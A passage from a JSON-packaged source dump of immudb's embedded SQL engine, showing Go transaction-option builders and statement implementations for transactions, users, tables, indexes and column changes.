txOpts.SnapshotRenewalPeriod,\n\t\tExplicitClose:           false, // commit or rollback explicitly required\n\t\tUnsafeMVCC:              false, // mvcc restricted to catalog changes\n\t}\n}\n\nfunc (opts *TxOptions) Validate() error {\n\tif opts == nil {\n\t\treturn fmt.Errorf(\"%w: nil options\", store.ErrInvalidOptions)\n\t}\n\n\treturn nil\n}\n\nfunc (opts *TxOptions) WithReadOnly(readOnly bool) *TxOptions {\n\topts.ReadOnly = readOnly\n\treturn opts\n}\n\nfunc (opts *TxOptions) WithSnapshotMustIncludeTxID(snapshotMustIncludeTxID func(lastPrecommittedTxID uint64) uint64) *TxOptions {\n\topts.SnapshotMustIncludeTxID = snapshotMustIncludeTxID\n\treturn opts\n}\n\nfunc (opts *TxOptions) WithSnapshotRenewalPeriod(snapshotRenewalPeriod time.Duration) *TxOptions {\n\topts.SnapshotRenewalPeriod = snapshotRenewalPeriod\n\treturn opts\n}\n\nfunc (opts *TxOptions) WithExplicitClose(explicitClose bool) *TxOptions {\n\topts.ExplicitClose = explicitClose\n\treturn opts\n}\n\nfunc (opts *TxOptions) WithUnsafeMVCC(unsafeMVCC bool) *TxOptions {\n\topts.UnsafeMVCC = unsafeMVCC\n\treturn opts\n}\n\nfunc (opts *TxOptions) WithExtra(data []byte) *TxOptions {\n\topts.Extra = data\n\treturn opts\n}\n"
  },
  {
    "path": "embedded/sql/stmt.go",
    "content": "/*\nCopyright 2025 Codenotary Inc. All rights reserved.\n\nSPDX-License-Identifier: BUSL-1.1\nyou may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\n\n    https://mariadb.com/bsl11/\n\nUnless required by applicable law or agreed to in writing, software\ndistributed under the License is distributed on an \"AS IS\" BASIS,\nWITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\nSee the License for the specific language governing permissions and\nlimitations under the License.\n*/\n\npackage sql\n\nimport (\n\t\"bytes\"\n\t\"context\"\n\t\"encoding/binary\"\n\t\"encoding/hex\"\n\t\"errors\"\n\t\"fmt\"\n\t\"math\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/codenotary/immudb/embedded/store\"\n\t\"github.com/google/uuid\"\n)\n\nconst (\n\tcatalogPrefix          = \"CTL.\"\n\tcatalogTablePrefix     = \"CTL.TABLE.\"     // (key=CTL.TABLE.{1}{tableID}, value={tableNAME})\n\tcatalogColumnPrefix    = \"CTL.COLUMN.\"    // (key=CTL.COLUMN.{1}{tableID}{colID}{colTYPE}, value={(auto_incremental | nullable){maxLen}{colNAME}})\n\tcatalogIndexPrefix     = \"CTL.INDEX.\"     // (key=CTL.INDEX.{1}{tableID}{indexID}, value={unique {colID1}(ASC|DESC)...{colIDN}(ASC|DESC)})\n\tcatalogCheckPrefix     = \"CTL.CHECK.\"     // (key=CTL.CHECK.{1}{tableID}{checkID}, value={nameLen}{name}{expText})\n\tcatalogPrivilegePrefix = \"CTL.PRIVILEGE.\" // (key=CTL.COLUMN.{1}{tableID}{colID}{colTYPE}, value={(auto_incremental | nullable){maxLen}{colNAME}})\n\n\tRowPrefix    = \"R.\" // (key=R.{1}{tableID}{0}({null}({pkVal}{padding}{pkValLen})?)+, value={count (colID valLen val)+})\n\tMappedPrefix = \"M.\" // (key=M.{tableID}{indexID}({null}({val}{padding}{valLen})?)*({pkVal}{padding}{pkValLen})+, value={count (colID valLen val)+})\n)\n\nconst (\n\tDatabaseID = uint32(1) // deprecated but left to maintain backwards compatibility\n\tPKIndexID  = uint32(0)\n)\n\nconst (\n\tnullableFlag      byte = 1 << iota\n\tautoIncrementFlag byte = 1 << iota\n)\n\nconst (\n\trevCol        = \"_rev\"\n\ttxMetadataCol = \"_tx_metadata\"\n)\n\nvar reservedColumns = map[string]struct{}{\n\trevCol:        {},\n\ttxMetadataCol: {},\n}\n\nfunc isReservedCol(col string) bool {\n\t_, ok := reservedColumns[col]\n\treturn ok\n}\n\ntype SQLValueType = string\n\nconst (\n\tIntegerType   SQLValueType = \"INTEGER\"\n\tBooleanType   SQLValueType = \"BOOLEAN\"\n\tVarcharType   SQLValueType = \"VARCHAR\"\n\tUUIDType      SQLValueType = \"UUID\"\n\tBLOBType      SQLValueType = \"BLOB\"\n\tFloat64Type   SQLValueType = \"FLOAT\"\n\tTimestampType SQLValueType = \"TIMESTAMP\"\n\tAnyType       SQLValueType = \"ANY\"\n\tJSONType      SQLValueType = \"JSON\"\n)\n\nfunc IsNumericType(t SQLValueType) bool {\n\treturn t == IntegerType || t == Float64Type\n}\n\ntype Permission = string\n\nconst (\n\tPermissionReadOnly  Permission = \"READ\"\n\tPermissionReadWrite Permission = \"READWRITE\"\n\tPermissionAdmin     Permission = \"ADMIN\"\n\tPermissionSysAdmin  Permission = \"SYSADMIN\"\n)\n\nfunc PermissionFromCode(code uint32) Permission {\n\tswitch code {\n\tcase 1:\n\t\t{\n\t\t\treturn PermissionReadOnly\n\t\t}\n\tcase 2:\n\t\t{\n\t\t\treturn PermissionReadWrite\n\t\t}\n\tcase 254:\n\t\t{\n\t\t\treturn PermissionAdmin\n\t\t}\n\t}\n\treturn PermissionSysAdmin\n}\n\ntype AggregateFn = string\n\nconst (\n\tCOUNT AggregateFn = \"COUNT\"\n\tSUM   AggregateFn = \"SUM\"\n\tMAX   AggregateFn = \"MAX\"\n\tMIN   AggregateFn = \"MIN\"\n\tAVG   AggregateFn = \"AVG\"\n)\n\ntype CmpOperator = int\n\nconst (\n\tEQ CmpOperator = iota\n\tNE\n\tLT\n\tLE\n\tGT\n\tGE\n)\n\nfunc CmpOperatorToString(op CmpOperator) string {\n\tswitch op {\n\tcase EQ:\n\t\treturn \"=\"\n\tcase NE:\n\t\treturn \"!=\"\n\tcase LT:\n\t\treturn \"<\"\n\tcase LE:\n\t\treturn \"<=\"\n\tcase GT:\n\t\treturn \">\"\n\tcase GE:\n\t\treturn \">=\"\n\t}\n\treturn \"\"\n}\n\ntype LogicOperator = int\n\nconst (\n\tAnd LogicOperator = iota\n\tOr\n)\n\nfunc LogicOperatorToString(op LogicOperator) string {\n\tif op == And {\n\t\treturn \"AND\"\n\t}\n\treturn \"OR\"\n}\n\ntype NumOperator = int\n\nconst (\n\tADDOP NumOperator = iota\n\tSUBSOP\n\tDIVOP\n\tMULTOP\n\tMODOP\n)\n\nfunc NumOperatorString(op NumOperator) string {\n\tswitch op {\n\tcase ADDOP:\n\t\treturn \"+\"\n\tcase SUBSOP:\n\t\treturn \"-\"\n\tcase DIVOP:\n\t\treturn \"/\"\n\tcase MULTOP:\n\t\treturn \"*\"\n\tcase MODOP:\n\t\treturn \"%\"\n\t}\n\treturn \"\"\n}\n\ntype JoinType = int\n\nconst (\n\tInnerJoin JoinType = iota\n\tLeftJoin\n\tRightJoin\n)\n\ntype SQLStmt interface {\n\treadOnly() bool\n\trequiredPrivileges() []SQLPrivilege\n\texecAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error)\n\tinferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error\n}\n\ntype BeginTransactionStmt struct {\n}\n\nfunc (stmt *BeginTransactionStmt) readOnly() bool {\n\treturn true\n}\n\nfunc (stmt *BeginTransactionStmt) requiredPrivileges() []SQLPrivilege {\n\treturn nil\n}\n\nfunc (stmt *BeginTransactionStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\treturn nil\n}\n\nfunc (stmt *BeginTransactionStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\tif tx.IsExplicitCloseRequired() {\n\t\treturn nil, ErrNestedTxNotSupported\n\t}\n\n\terr := tx.RequireExplicitClose()\n\tif err == nil {\n\t\t// current tx can be reused as no changes were already made\n\t\treturn tx, nil\n\t}\n\n\t// commit current transaction and start a fresh one\n\n\terr = tx.Commit(ctx)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\treturn tx.engine.NewTx(ctx, tx.opts.WithExplicitClose(true))\n}\n\ntype CommitStmt struct {\n}\n\nfunc (stmt *CommitStmt) readOnly() bool {\n\treturn true\n}\n\nfunc (stmt *CommitStmt) requiredPrivileges() []SQLPrivilege {\n\treturn nil\n}\n\nfunc (stmt *CommitStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\treturn nil\n}\n\nfunc (stmt *CommitStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\tif !tx.IsExplicitCloseRequired() {\n\t\treturn nil, ErrNoOngoingTx\n\t}\n\n\treturn nil, tx.Commit(ctx)\n}\n\ntype RollbackStmt struct {\n}\n\nfunc (stmt *RollbackStmt) readOnly() bool {\n\treturn true\n}\n\nfunc (stmt *RollbackStmt) requiredPrivileges() []SQLPrivilege {\n\treturn nil\n}\n\nfunc (stmt *RollbackStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\treturn nil\n}\n\nfunc (stmt *RollbackStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\tif !tx.IsExplicitCloseRequired() {\n\t\treturn nil, ErrNoOngoingTx\n\t}\n\n\treturn nil, tx.Cancel()\n}\n\ntype CreateDatabaseStmt struct {\n\tDB          string\n\tifNotExists bool\n}\n\nfunc (stmt *CreateDatabaseStmt) readOnly() bool {\n\treturn false\n}\n\nfunc (stmt *CreateDatabaseStmt) requiredPrivileges() []SQLPrivilege {\n\treturn []SQLPrivilege{SQLPrivilegeCreate}\n}\n\nfunc (stmt *CreateDatabaseStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\treturn nil\n}\n\nfunc (stmt *CreateDatabaseStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\tif tx.IsExplicitCloseRequired() {\n\t\treturn nil, fmt.Errorf(\"%w: database creation can not be done within a transaction\", ErrNonTransactionalStmt)\n\t}\n\n\tif tx.engine.multidbHandler == nil {\n\t\treturn nil, ErrUnspecifiedMultiDBHandler\n\t}\n\n\treturn nil, tx.engine.multidbHandler.CreateDatabase(ctx, stmt.DB, stmt.ifNotExists)\n}\n\ntype UseDatabaseStmt struct {\n\tDB string\n}\n\nfunc (stmt *UseDatabaseStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\treturn nil\n}\n\nfunc (stmt *UseDatabaseStmt) readOnly() bool {\n\treturn true\n}\n\nfunc (stmt *UseDatabaseStmt) requiredPrivileges() []SQLPrivilege {\n\treturn nil\n}\n\nfunc (stmt *UseDatabaseStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\tif tx.IsExplicitCloseRequired() {\n\t\treturn nil, fmt.Errorf(\"%w: database selection can NOT be executed within a transaction block\", ErrNonTransactionalStmt)\n\t}\n\n\tif tx.engine.multidbHandler == nil {\n\t\treturn nil, ErrUnspecifiedMultiDBHandler\n\t}\n\n\treturn tx, tx.engine.multidbHandler.UseDatabase(ctx, stmt.DB)\n}\n\ntype UseSnapshotStmt struct {\n\tperiod period\n}\n\nfunc (stmt *UseSnapshotStmt) readOnly() bool {\n\treturn true\n}\n\nfunc (stmt *UseSnapshotStmt) requiredPrivileges() []SQLPrivilege {\n\treturn nil\n}\n\nfunc (stmt *UseSnapshotStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\treturn nil\n}\n\nfunc (stmt *UseSnapshotStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\treturn nil, ErrNoSupported\n}\n\ntype CreateUserStmt struct {\n\tusername   string\n\tpassword   string\n\tpermission Permission\n}\n\nfunc (stmt *CreateUserStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\treturn nil\n}\n\nfunc (stmt *CreateUserStmt) readOnly() bool {\n\treturn false\n}\n\nfunc (stmt *CreateUserStmt) requiredPrivileges() []SQLPrivilege {\n\treturn []SQLPrivilege{SQLPrivilegeCreate}\n}\n\nfunc (stmt *CreateUserStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\tif tx.IsExplicitCloseRequired() {\n\t\treturn nil, fmt.Errorf(\"%w: user creation can not be done within a transaction\", ErrNonTransactionalStmt)\n\t}\n\n\tif tx.engine.multidbHandler == nil {\n\t\treturn nil, ErrUnspecifiedMultiDBHandler\n\t}\n\n\treturn nil, tx.engine.multidbHandler.CreateUser(ctx, stmt.username, stmt.password, stmt.permission)\n}\n\ntype AlterUserStmt struct {\n\tusername   string\n\tpassword   string\n\tpermission Permission\n}\n\nfunc (stmt *AlterUserStmt) readOnly() bool {\n\treturn false\n}\n\nfunc (stmt *AlterUserStmt) requiredPrivileges() []SQLPrivilege {\n\treturn []SQLPrivilege{SQLPrivilegeAlter}\n}\n\nfunc (stmt *AlterUserStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\treturn nil\n}\n\nfunc (stmt *AlterUserStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\tif tx.IsExplicitCloseRequired() {\n\t\treturn nil, fmt.Errorf(\"%w: user modification can not be done within a transaction\", ErrNonTransactionalStmt)\n\t}\n\n\tif tx.engine.multidbHandler == nil {\n\t\treturn nil, ErrUnspecifiedMultiDBHandler\n\t}\n\n\treturn nil, tx.engine.multidbHandler.AlterUser(ctx, stmt.username, stmt.password, stmt.permission)\n}\n\ntype DropUserStmt struct {\n\tusername string\n}\n\nfunc (stmt *DropUserStmt) readOnly() bool {\n\treturn false\n}\n\nfunc (stmt *DropUserStmt) requiredPrivileges() []SQLPrivilege {\n\treturn []SQLPrivilege{SQLPrivilegeDrop}\n}\n\nfunc (stmt *DropUserStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\treturn nil\n}\n\nfunc (stmt *DropUserStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\tif tx.IsExplicitCloseRequired() {\n\t\treturn nil, fmt.Errorf(\"%w: user deletion can not be done within a transaction\", ErrNonTransactionalStmt)\n\t}\n\n\tif tx.engine.multidbHandler == nil {\n\t\treturn nil, ErrUnspecifiedMultiDBHandler\n\t}\n\n\treturn nil, tx.engine.multidbHandler.DropUser(ctx, stmt.username)\n}\n\ntype TableElem interface{}\n\ntype CreateTableStmt struct {\n\ttable       string\n\tifNotExists bool\n\tcolsSpec    []*ColSpec\n\tchecks      []CheckConstraint\n\tpkColNames  PrimaryKeyConstraint\n}\n\nfunc NewCreateTableStmt(table string, ifNotExists bool, colsSpec []*ColSpec, pkColNames []string) *CreateTableStmt {\n\treturn &CreateTableStmt{table: table, ifNotExists: ifNotExists, colsSpec: colsSpec, pkColNames: pkColNames}\n}\n\nfunc (stmt *CreateTableStmt) readOnly() bool {\n\treturn false\n}\n\nfunc (stmt *CreateTableStmt) requiredPrivileges() []SQLPrivilege {\n\treturn []SQLPrivilege{SQLPrivilegeCreate}\n}\n\nfunc (stmt *CreateTableStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\treturn nil\n}\n\nfunc zeroRow(tableName string, cols []*ColSpec) *Row {\n\tr := Row{\n\t\tValuesByPosition: make([]TypedValue, len(cols)),\n\t\tValuesBySelector: make(map[string]TypedValue, len(cols)),\n\t}\n\n\tfor i, col := range cols {\n\t\tv := zeroForType(col.colType)\n\n\t\tr.ValuesByPosition[i] = v\n\t\tr.ValuesBySelector[EncodeSelector(\"\", tableName, col.colName)] = v\n\t}\n\treturn &r\n}\n\nfunc (stmt *CreateTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\tif err := stmt.validatePrimaryKey(); err != nil {\n\t\treturn nil, err\n\t}\n\n\tif stmt.ifNotExists && tx.catalog.ExistTable(stmt.table) {\n\t\treturn tx, nil\n\t}\n\n\tcolSpecs := make(map[uint32]*ColSpec, len(stmt.colsSpec))\n\tfor i, cs := range stmt.colsSpec {\n\t\tcolSpecs[uint32(i)+1] = cs\n\t}\n\n\trow := zeroRow(stmt.table, stmt.colsSpec)\n\tfor _, check := range stmt.checks {\n\t\tvalue, err := check.exp.reduce(tx, row, stmt.table)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif value.Type() != BooleanType {\n\t\t\treturn nil, ErrInvalidCheckConstraint\n\t\t}\n\t}\n\n\tnextUnnamedCheck := 0\n\tchecks := make(map[string]CheckConstraint)\n\tfor id, check := range stmt.checks {\n\t\tname := fmt.Sprintf(\"%s_check%d\", stmt.table, nextUnnamedCheck+1)\n\t\tif check.name != \"\" {\n\t\t\tname = check.name\n\t\t} else {\n\t\t\tnextUnnamedCheck++\n\t\t}\n\t\tcheck.id = uint32(id)\n\t\tcheck.name = name\n\t\tchecks[name] = check\n\t}\n\n\ttable, err := tx.catalog.newTable(stmt.table, colSpecs, checks, uint32(len(colSpecs)))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcreateIndexStmt := &CreateIndexStmt{unique: true, table: table.name, cols: stmt.primaryKeyCols()}\n\t_, err = createIndexStmt.execAt(ctx, tx, params)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tfor _, col := range table.cols {\n\t\tif col.autoIncrement {\n\t\t\tif len(table.primaryIndex.cols) > 1 || col.id != table.primaryIndex.cols[0].id {\n\t\t\t\treturn nil, ErrLimitedAutoIncrement\n\t\t\t}\n\t\t}\n\n\t\terr := persistColumn(tx, col)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tfor _, check := range checks {\n\t\tif err := persistCheck(tx, table, &check); err != nil {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tmappedKey := MapKey(tx.sqlPrefix(), catalogTablePrefix, EncodeID(DatabaseID), EncodeID(table.id))\n\n\terr = tx.set(mappedKey, nil, []byte(table.name))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttx.mutatedCatalog = true\n\n\treturn tx, nil\n}\n\nfunc (stmt *CreateTableStmt) validatePrimaryKey() error {\n\tn := 0\n\tfor _, spec := range stmt.colsSpec {\n\t\tif spec.primaryKey {\n\t\t\tn++\n\t\t}\n\t}\n\n\tif len(stmt.pkColNames) > 0 {\n\t\tn++\n\t}\n\n\tswitch n {\n\tcase 0:\n\t\treturn ErrNoPrimaryKey\n\tcase 1:\n\t\treturn nil\n\t}\n\treturn fmt.Errorf(\"\\\"%s\\\": %w\", stmt.table, ErrMultiplePrimaryKeys)\n}\n\nfunc (stmt *CreateTableStmt) primaryKeyCols() []string {\n\tif len(stmt.pkColNames) > 0 {\n\t\treturn stmt.pkColNames\n\t}\n\n\tfor _, spec := range stmt.colsSpec {\n\t\tif spec.primaryKey {\n\t\t\treturn []string{spec.colName}\n\t\t}\n\t}\n\treturn nil\n}\n\nfunc persistColumn(tx *SQLTx, col *Column) error {\n\t//{auto_incremental | nullable}{maxLen}{colNAME})\n\tv := make([]byte, 1+4+len(col.colName))\n\n\tif col.autoIncrement {\n\t\tv[0] = v[0] | autoIncrementFlag\n\t}\n\n\tif col.notNull {\n\t\tv[0] = v[0] | nullableFlag\n\t}\n\n\tbinary.BigEndian.PutUint32(v[1:], uint32(col.MaxLen()))\n\n\tcopy(v[5:], []byte(col.Name()))\n\n\tmappedKey := MapKey(\n\t\ttx.sqlPrefix(),\n\t\tcatalogColumnPrefix,\n\t\tEncodeID(DatabaseID),\n\t\tEncodeID(col.table.id),\n\t\tEncodeID(col.id),\n\t\t[]byte(col.colType),\n\t)\n\n\treturn tx.set(mappedKey, nil, v)\n}\n\nfunc persistCheck(tx *SQLTx, table *Table, check *CheckConstraint) error {\n\tmappedKey := MapKey(\n\t\ttx.sqlPrefix(),\n\t\tcatalogCheckPrefix,\n\t\tEncodeID(DatabaseID),\n\t\tEncodeID(table.id),\n\t\tEncodeID(check.id),\n\t)\n\n\tname := check.name\n\texpText := check.exp.String()\n\n\tval := make([]byte, 2+len(name)+len(expText))\n\n\tif len(name) > 256 {\n\t\treturn fmt.Errorf(\"constraint name len: %w\", ErrMaxLengthExceeded)\n\t}\n\n\tval[0] = byte(len(name)) - 1\n\n\tcopy(val[1:], []byte(name))\n\tcopy(val[1+len(name):], []byte(expText))\n\n\treturn tx.set(mappedKey, nil, val)\n}\n\ntype ColSpec struct {\n\tcolName       string\n\tcolType       SQLValueType\n\tmaxLen        int\n\tautoIncrement bool\n\tnotNull       bool\n\tprimaryKey    bool\n}\n\nfunc NewColSpec(name string, colType SQLValueType, maxLen int, autoIncrement bool, notNull bool) *ColSpec {\n\treturn &ColSpec{\n\t\tcolName:       name,\n\t\tcolType:       colType,\n\t\tmaxLen:        maxLen,\n\t\tautoIncrement: autoIncrement,\n\t\tnotNull:       notNull,\n\t}\n}\n\ntype CreateIndexStmt struct {\n\tunique      bool\n\tifNotExists bool\n\ttable       string\n\tcols        []string\n}\n\nfunc NewCreateIndexStmt(table string, cols []string, isUnique bool) *CreateIndexStmt {\n\treturn &CreateIndexStmt{unique: isUnique, table: table, cols: cols}\n}\n\nfunc (stmt *CreateIndexStmt) readOnly() bool {\n\treturn false\n}\n\nfunc (stmt *CreateIndexStmt) requiredPrivileges() []SQLPrivilege {\n\treturn []SQLPrivilege{SQLPrivilegeCreate}\n}\n\nfunc (stmt *CreateIndexStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\treturn nil\n}\n\nfunc (stmt *CreateIndexStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\tif len(stmt.cols) < 1 {\n\t\treturn nil, ErrIllegalArguments\n\t}\n\n\tif len(stmt.cols) > MaxNumberOfColumnsInIndex {\n\t\treturn nil, ErrMaxNumberOfColumnsInIndexExceeded\n\t}\n\n\ttable, err := tx.catalog.GetTableByName(stmt.table)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcolIDs := make([]uint32, len(stmt.cols))\n\n\tindexKeyLen := 0\n\n\tfor i, colName := range stmt.cols {\n\t\tcol, err := table.GetColumnByName(colName)\n\t\tif err != nil {\n\t\t\treturn nil, err\n\t\t}\n\n\t\tif col.Type() == JSONType {\n\t\t\treturn nil, ErrCannotIndexJson\n\t\t}\n\n\t\tif variableSizedType(col.colType) && !tx.engine.lazyIndexConstraintValidation && (col.MaxLen() == 0 || col.MaxLen() > MaxKeyLen) {\n\t\t\treturn nil, fmt.Errorf(\"%w: can not create index using column '%s'. Max key length for variable columns is %d\", ErrLimitedKeyType, col.colName, MaxKeyLen)\n\t\t}\n\n\t\tindexKeyLen += col.MaxLen()\n\n\t\tcolIDs[i] = col.id\n\t}\n\n\tif !tx.engine.lazyIndexConstraintValidation && indexKeyLen > MaxKeyLen {\n\t\treturn nil, fmt.Errorf(\"%w: can not create index using columns '%v'. Max key length is %d\", ErrLimitedKeyType, stmt.cols, MaxKeyLen)\n\t}\n\n\tif stmt.unique && table.primaryIndex != nil {\n\t\t// check table is empty\n\t\tpkPrefix := MapKey(tx.sqlPrefix(), MappedPrefix, EncodeID(table.id), EncodeID(table.primaryIndex.id))\n\t\t_, _, err := tx.getWithPrefix(ctx, pkPrefix, nil)\n\t\tif errors.Is(err, store.ErrIndexNotFound) {\n\t\t\treturn nil, ErrTableDoesNotExist\n\t\t}\n\t\tif err == nil {\n\t\t\treturn nil, ErrLimitedIndexCreation\n\t\t} else if !errors.Is(err, store.ErrKeyNotFound) {\n\t\t\treturn nil, err\n\t\t}\n\t}\n\n\tindex, err := table.newIndex(stmt.unique, colIDs)\n\tif errors.Is(err, ErrIndexAlreadyExists) && stmt.ifNotExists {\n\t\treturn tx, nil\n\t}\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// v={unique {colID1}(ASC|DESC)...{colIDN}(ASC|DESC)}\n\t// TODO: currently only ASC order is supported\n\tcolSpecLen := EncIDLen + 1\n\n\tencodedValues := make([]byte, 1+len(index.cols)*colSpecLen)\n\n\tif index.IsUnique() {\n\t\tencodedValues[0] = 1\n\t}\n\n\tfor i, col := range index.cols {\n\t\tcopy(encodedValues[1+i*colSpecLen:], EncodeID(col.id))\n\t}\n\n\tmappedKey := MapKey(tx.sqlPrefix(), catalogIndexPrefix, EncodeID(DatabaseID), EncodeID(table.id), EncodeID(index.id))\n\n\terr = tx.set(mappedKey, nil, encodedValues)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttx.mutatedCatalog = true\n\n\treturn tx, nil\n}\n\ntype AddColumnStmt struct {\n\ttable   string\n\tcolSpec *ColSpec\n}\n\nfunc NewAddColumnStmt(table string, colSpec *ColSpec) *AddColumnStmt {\n\treturn &AddColumnStmt{table: table, colSpec: colSpec}\n}\n\nfunc (stmt *AddColumnStmt) readOnly() bool {\n\treturn false\n}\n\nfunc (stmt *AddColumnStmt) requiredPrivileges() []SQLPrivilege {\n\treturn []SQLPrivilege{SQLPrivilegeAlter}\n}\n\nfunc (stmt *AddColumnStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\treturn nil\n}\n\nfunc (stmt *AddColumnStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\ttable, err := tx.catalog.GetTableByName(stmt.table)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcol, err := table.newColumn(stmt.colSpec)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = persistColumn(tx, col)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttx.mutatedCatalog = true\n\n\treturn tx, nil\n}\n\ntype RenameTableStmt struct {\n\toldName string\n\tnewName string\n}\n\nfunc (stmt *RenameTableStmt) readOnly() bool {\n\treturn false\n}\n\nfunc (stmt *RenameTableStmt) requiredPrivileges() []SQLPrivilege {\n\treturn []SQLPrivilege{SQLPrivilegeAlter}\n}\n\nfunc (stmt *RenameTableStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\treturn nil\n}\n\nfunc (stmt *RenameTableStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\ttable, err := tx.catalog.renameTable(stmt.oldName, stmt.newName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// update table name\n\tmappedKey := MapKey(\n\t\ttx.sqlPrefix(),\n\t\tcatalogTablePrefix,\n\t\tEncodeID(DatabaseID),\n\t\tEncodeID(table.id),\n\t)\n\terr = tx.set(mappedKey, nil, []byte(stmt.newName))\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttx.mutatedCatalog = true\n\n\treturn tx, nil\n}\n\ntype RenameColumnStmt struct {\n\ttable   string\n\toldName string\n\tnewName string\n}\n\nfunc NewRenameColumnStmt(table, oldName, newName string) *RenameColumnStmt {\n\treturn &RenameColumnStmt{table: table, oldName: oldName, newName: newName}\n}\n\nfunc (stmt *RenameColumnStmt) readOnly() bool {\n\treturn false\n}\n\nfunc (stmt *RenameColumnStmt) requiredPrivileges() []SQLPrivilege {\n\treturn []SQLPrivilege{SQLPrivilegeAlter}\n}\n\nfunc (stmt *RenameColumnStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\treturn nil\n}\n\nfunc (stmt *RenameColumnStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\ttable, err := tx.catalog.GetTableByName(stmt.table)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcol, err := table.renameColumn(stmt.oldName, stmt.newName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = persistColumn(tx, col)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttx.mutatedCatalog = true\n\n\treturn tx, nil\n}\n\ntype DropColumnStmt struct {\n\ttable   string\n\tcolName string\n}\n\nfunc NewDropColumnStmt(table, colName string) *DropColumnStmt {\n\treturn &DropColumnStmt{table: table, colName: colName}\n}\n\nfunc (stmt *DropColumnStmt) readOnly() bool {\n\treturn false\n}\n\nfunc (stmt *DropColumnStmt) requiredPrivileges() []SQLPrivilege {\n\treturn []SQLPrivilege{SQLPrivilegeDrop}\n}\n\nfunc (stmt *DropColumnStmt) inferParameters(ctx context.Context, tx *SQLTx, params map[string]SQLValueType) error {\n\treturn nil\n}\n\nfunc (stmt *DropColumnStmt) execAt(ctx context.Context, tx *SQLTx, params map[string]interface{}) (*SQLTx, error) {\n\ttable, err := tx.catalog.GetTableByName(stmt.table)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\tcol, err := table.GetColumnByName(stmt.colName)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = canDropColumn(tx, table, col)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = table.deleteColumn(col)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\terr = persistColumnDeletion(ctx, tx, col)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\ttx.mutatedCatalog = true\n\n\treturn tx, nil\n}\n\nfunc canDropColumn(tx *SQLTx, table *Table, col *Column) error {\n\tcolSpecs := make([]*ColSpec, 0, len(table.Cols())-1)\n\tfor _, c := range table.cols {\n\t\tif c.id != col.id {\n\t\t\tcolSpecs = append(colSpecs, &ColSpec{colName: c.Name(), colType: c.Type()})\n\t\t}\n\t}\n\n\trow := zeroRow(table.Name(), colSpecs)\n\tfor name, check := range table.checkConstraints {\n\t\t_, err := check.exp.reduce(tx, row, table.name)\n\t\tif errors.Is(err, ErrColumnDoesNotExist) {\n\t\t\treturn 